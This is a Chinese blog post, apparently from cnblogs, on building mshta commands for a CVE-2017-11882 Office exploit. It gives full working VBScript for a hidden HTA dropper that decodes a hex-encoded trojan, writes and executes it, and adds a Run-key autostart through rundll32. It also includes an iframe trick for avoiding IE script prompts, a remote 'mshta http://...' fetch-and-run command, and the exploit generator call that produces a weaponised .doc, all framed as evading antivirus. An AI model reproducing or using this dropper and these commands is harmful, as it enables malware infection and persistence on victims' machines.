zoukankan      html  css  js  c++  java
  • 浅谈一下mshta在CVE201711882里的命令构造

    Evi1cg同学前不久放出CVE-2017-11882的一个 python利用脚本,地址在https://github.com/Ridter/CVE-2017-11882/,不过其中一个版本里边有一个限制,执行命令只能用43个字节。如果要用43个字节来完成一个文件的下载执行,在我所掌握的命令行知识里,除了mshta命令,其它的好像都做不到。所以在这里我就浅谈一下如何构造这个mshta命令,另外提一下hta文件在安全方面的一个应用。

    mshta.exe是微软Windows操作系统相关程序,用于执行.HTA文件。HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件,与VB、C++等程序语言所设计的软件界面没什么差别。mshta执行.hta文件,是以当前用户权限执行,hta文件可以随便改后缀,也可以本地或远程执行,本地执行的时候,要记得带全路径名,否则会出错。另外,mshta支持各种协议,甚至支持mk:@MSITStore协议或是ms-its协议。

    一、HTA文件 内嵌的html文件如何去除本地安全认证呢?

    我们知道,html文件打开的宿主如果是IE,html文件里调用的是像Wscript.Shell此类组件的话,IE会弹一个框,限制运行脚本或Active控件。我们来验证一下,写代码1.htm如下:

    <script language="VBSCRIPT">
      Dim FileSystem
      ' Creates the FileSystemObject
      Set FileSystem = CreateObject("Scripting.FileSystemObject")
    </script>

    如果我们用HTA文件来iframe这个1.htm,hta是本地用户权限,应当可以绕过此限制,如何绕呢?我们就要用到 iframe的一个参数了application=”yes”了。这样就不会弹阻止框了,可以干坏事了,1.hta代码如下:

    <html>
    <head>
    <title>Sample HTML Application one</title>
    </head>
    <body onload="Viewer.document.location.href='l.htm'">
    <iframe id="Viewer" application="yes"><!--这里是去掉验证的关键--> 
    </iframe>
    </body>
    </html>

    二、如何写一个高效的下载执行过杀软的hta文件?

    如果是下载执行的话,哪就很弱了。hta文件里可以自由地写vbscript代码,所以我们的思路是可以把你的木马转换成base64格式也好,转换成16进制也好再转回来,hta只是访问了一个网页而已,但是已经把木马转到本地了,具体代码1.hta可以如下:

    <HTML> 
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <HEAD> 
    <script language="VBScript">
    Window.ReSizeTo 0, 0
    Window.moveTo -2000,-2000 '让hta不可见
    set fso=CreateObject("Scripting.FileSystemObject")
    Set wscript.Createobject("WScript.Shell")
    '注意在hta文件里不能调用wscript,如下行的代码会出错
    'set ws= wscript.Createobject("WScript.Shell")
    '用rundll32加启动项,这个过不了杀软主防,聊胜于无
    regstr = "rundll32 javascript:""\..\mshtml,RunHTMLApplication "";window.execScript(""CreateObject('wscript.Shell').RegWrite 'HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ologin',CreateObject('Shell.Application').Namespace(&H1C).Self.Path & '\\muma.exe':window.close"",""vbs""); "
    strs="4D5A900003000000040000"'你木马的16进制代码放在这里
    fp=CreateObject("Shell.Application").Namespace(&H1C).Self.Path + "\muma.exe" '应当判断系统,找一个winxp-win10都可以写的目录,我这里只是poc,没有做过多判断
    '下边函数用Microsoft.XMLDOM来还原16进制文件
    Sub WriteBinary(FileName, Buf)
    Const adTypeBinary = 1
    Const adSaveCreateOverWrite = 2
    Dim stream, xmldom, node
    Set xmldom = CreateObject("Microsoft.XMLDOM")
    Set node = xmldom.CreateElement("binary")
    node.DataType = "bin.hex"
    node.Text = Buf
    Set stream = CreateObject("ADODB.Stream")
    stream.Type = adTypeBinary
    stream.Open
    stream.write node.NodeTypedValue
    stream.saveToFile FileName, adSaveCreateOverWrite
    stream.Close
    Set stream = Nothing
    Set node = Nothing
    Set xmldom = Nothing
    End Sub
    '判断文件是否存在
    Function Findfile(str)
    If fso.FileExists(str) Then
    Findfile = True
    Else
    Findfile = False
    End If
    End Function
    '不存在就写木马
    If Findfile(fp)=False then
    WriteBinary fp, Strs
    End if
    '木马文件存在就执行。休息一下加注册表启动项
    If Findfile(fp)=True then
    ws.exec fp
    wScript.Sleep(2000)
    ws.run regstr,0
    End if
    'ws.DeleteFile(wscript.scriptfullname),如果这个是vbs文件,可以删除自身,hta文件放在远程就没有必要了
    self.close
    </script>
    <body>
    </body>
    </HEAD> 
    </HTML>

    然后,你可以把这个1.hta改名1.xml之类的文件放在远程空间了,直接mshta http://www.site.xom/1.xml,就可以了。如果是利用CVE-2017-11882.py,哪么直接执行下边命令就生成了,其中http://site.com/1.xml你可以换成短网址。

    python27 Command_CVE-2017-11882.py -c "mshta http://site.com/1.xml" -o test.doc

    下图是我做的测试图。

  • 相关阅读:
    效率分页代码
    serialPort控件(串口通信)
    C#事件DEMO
    泛型类
    简单的登陆页面
    hdu 1342+hdu 2660+hdu 2266+hdu 1704+hdu 1627+hdu 1539
    hdu 3987(求割边最小的最小割)
    hdu 1907(尼姆博弈)
    hdu 2149+hdu 1846(巴什博弈)
    hdu 2516(斐波那契博弈)
  • 原文地址:https://www.cnblogs.com/smxiazi/p/7978257.html
Copyright © 2011-2022 走看看